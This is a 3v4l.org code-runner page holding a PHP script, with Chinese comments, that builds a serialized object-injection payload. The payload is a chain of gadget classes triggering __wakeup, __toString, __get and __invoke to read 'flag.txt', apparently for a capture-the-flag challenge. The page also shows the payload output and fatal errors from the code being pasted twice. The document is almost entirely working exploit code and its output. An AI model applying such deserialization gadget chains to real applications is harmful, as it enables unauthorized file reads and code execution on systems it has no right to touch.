3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?><?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?>
Output for 8.5.0 - 8.5.6
O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":2:{s:6:"target";N;s:8:"callback";s:94:"a:2:{i:0;O:12:"RitualEngine":2:{s:6:"target";s:8:"flag.txt";s:8:"callback";N;}i:1;s:4:"view";}";}}}}s:4:"tool";N;} Fatal error: Cannot redeclare class RitualEngine (previously declared in /in/qpd7K:3) in /in/qpd7K on line 42 Stack trace: #0 {main}
Process exited with code 255.
Output for 8.4.1 - 8.4.21
O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":2:{s:6:"target";N;s:8:"callback";s:94:"a:2:{i:0;O:12:"RitualEngine":2:{s:6:"target";s:8:"flag.txt";s:8:"callback";N;}i:1;s:4:"view";}";}}}}s:4:"tool";N;} Fatal error: Cannot redeclare class RitualEngine (previously declared in /in/qpd7K:3) in /in/qpd7K on line 42
Process exited with code 255.
Output for 8.3.0 - 8.3.30
O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":2:{s:6:"target";N;s:8:"callback";s:94:"a:2:{i:0;O:12:"RitualEngine":2:{s:6:"target";s:8:"flag.txt";s:8:"callback";N;}i:1;s:4:"view";}";}}}}s:4:"tool";N;} Fatal error: Cannot declare class RitualEngine, because the name is already in use in /in/qpd7K on line 42
Process exited with code 255.

preferences:
51.47 ms | 737 KiB | 4 Q